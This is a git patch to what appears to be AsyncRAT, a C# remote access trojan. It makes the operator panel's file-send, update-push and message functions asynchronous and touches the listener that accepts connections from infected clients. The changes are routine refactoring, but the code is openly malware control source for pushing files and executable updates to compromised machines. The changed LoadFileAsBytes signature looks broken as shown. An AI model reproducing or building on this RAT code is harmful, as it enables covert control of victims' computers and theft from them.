From 5a3225eecfcdfdacf3bae5489409a89652b12b08 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Wed, 6 Feb 2019 09:01:49 -0800 Subject: [PATCH] Update Using await fs.ReadAsync 'MsgPack' --- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 18 +++++++++--------- .../AsyncRAT-Sharp/MessagePack/MsgPack.cs | 4 ++-- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs | 8 ++++---- 3 files changed, 15 insertions(+), 15 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index a4896aa..6599988 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -110,14 +110,14 @@ namespace AsyncRAT_Sharp { if (listView1.SelectedItems.Count > 0) { - string URL = Interaction.InputBox("Message", "Message", "Hello World!"); - if (string.IsNullOrEmpty(URL)) + string Msgbox = Interaction.InputBox("Message", "Message", "Hello World!"); + if (string.IsNullOrEmpty(Msgbox)) return; else { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "sendMessage"; - msgpack.ForcePathObject("Message").AsString = URL; + msgpack.ForcePathObject("Message").AsString = Msgbox; foreach (ListViewItem C in listView1.SelectedItems) { Task.Run(() => @@ -130,7 +130,7 @@ namespace AsyncRAT_Sharp } } - private void sENDFILEToolStripMenuItem_Click_1(object sender, EventArgs e) + private async void sENDFILEToolStripMenuItem_Click_1(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -141,12 +141,12 @@ namespace AsyncRAT_Sharp { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "sendFile"; - msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName); + await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName); msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName); msgpack.ForcePathObject("Update").AsString = "false"; foreach (ListViewItem C in listView1.SelectedItems) { - Task.Run(() => + await Task.Run(() => { Clients CL = (Clients)C.Tag; CL.BeginSend(msgpack.Encode2Bytes()); @@ -179,7 +179,7 @@ namespace AsyncRAT_Sharp } } - private void uPDATEToolStripMenuItem_Click(object sender, EventArgs e) + private async void uPDATEToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -190,12 +190,12 @@ namespace AsyncRAT_Sharp { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "sendFile"; - msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName); + await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName); msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName); msgpack.ForcePathObject("Update").AsString = "true"; foreach (ListViewItem C in listView1.SelectedItems) { - Task.Run(() => + await Task.Run(() => { Clients CL = (Clients)C.Tag; CL.BeginSend(msgpack.Encode2Bytes()); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs b/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs index a20c06a..c1a35fa 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs @@ -369,14 +369,14 @@ namespace AsyncRAT_Sharp.MessagePack tmp.SetAsInteger(value); } - public bool LoadFileAsBytes(string fileName) + public async Task LoadFileAsBytes(string fileName) { if (File.Exists(fileName)) { byte[] value = null; FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); value = new byte[fs.Length]; - fs.Read(value, 0, (int)fs.Length); + await fs.ReadAsync(value, 0, (int)fs.Length); fs.Close(); SetAsBytes(value); return true; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs index 6e28f90..33b3aca 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs @@ -18,10 +18,10 @@ namespace AsyncRAT_Sharp.Sockets IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port)); listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { - SendBufferSize = 50 * 1024, - ReceiveBufferSize = 50 * 1024, - ReceiveTimeout = -1, - SendTimeout = -1, + SendBufferSize = 50 * 1024, + ReceiveBufferSize = 50 * 1024, + ReceiveTimeout = -1, + SendTimeout = -1, }; listener.Bind(IpEndPoint); listener.Listen(20);